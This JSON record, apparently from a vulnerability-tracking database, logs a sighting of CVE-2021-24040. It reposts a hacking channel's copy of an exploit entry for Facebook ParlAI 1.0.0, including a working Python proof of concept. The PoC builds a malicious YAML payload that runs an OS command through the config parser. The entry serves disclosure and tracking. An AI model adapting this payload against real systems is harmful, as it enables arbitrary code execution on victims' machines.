{"uuid": "e250d3f8-e5aa-407d-a340-688edd18e2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24040", "type": "seen", "source": "https://t.me/hacking_Attack/23700", "content": "Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization \n\n\nFacebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.\n\nMD5 | 1cb8116b6d8d649d3910c62fb8866a74\n\nDownload\n\n\n\n# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai\n# Date: 2021-09-11\n# Exploit Author: Abhiram V\n# Vendor Homepage: https://parl.ai/\n# Software Link: https://github.com/facebookresearch/ParlAI\n# Version: < 1.1.0\n# Tested on: Linux\n# CVE: CVE-2021-24040\n# References : \n# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg\n# | https://anon-artist.github.io/blogs/blog3.html |\n\n############################################################################\n\nIntroduction\nParlAI (pronounced \u201cpar-lay\u201d) is a free, open-source python framework for\nsharing, training and evaluating AI models on a variety of openly available\ndialogue datasets.\n\n############################################################################\n\nVulnerability details\n\n############################################################################\n\nDescription\nParlAI was vulnerable to YAML deserialization attack caused by unsafe\nloading which leads to Arbitrary Code Execution.\n\nProof of Concept\n\nCreate the following PoC file (exploit.py)\n\nimport os\n#os.system('pip3 install parlai')\nfrom parlai.chat_service.utils import config\nexploit = \"\"\"!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('xcalc')\"\n\"\"\"\nopen('config.yml','w+').write(exploit)\nconfig.parse_configuration_file('config.yml')\n\nExecute the python script ie, python3 exploit.py\n\nImpact\nCode Execution\n\n############################################################################\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:24.643962Z"}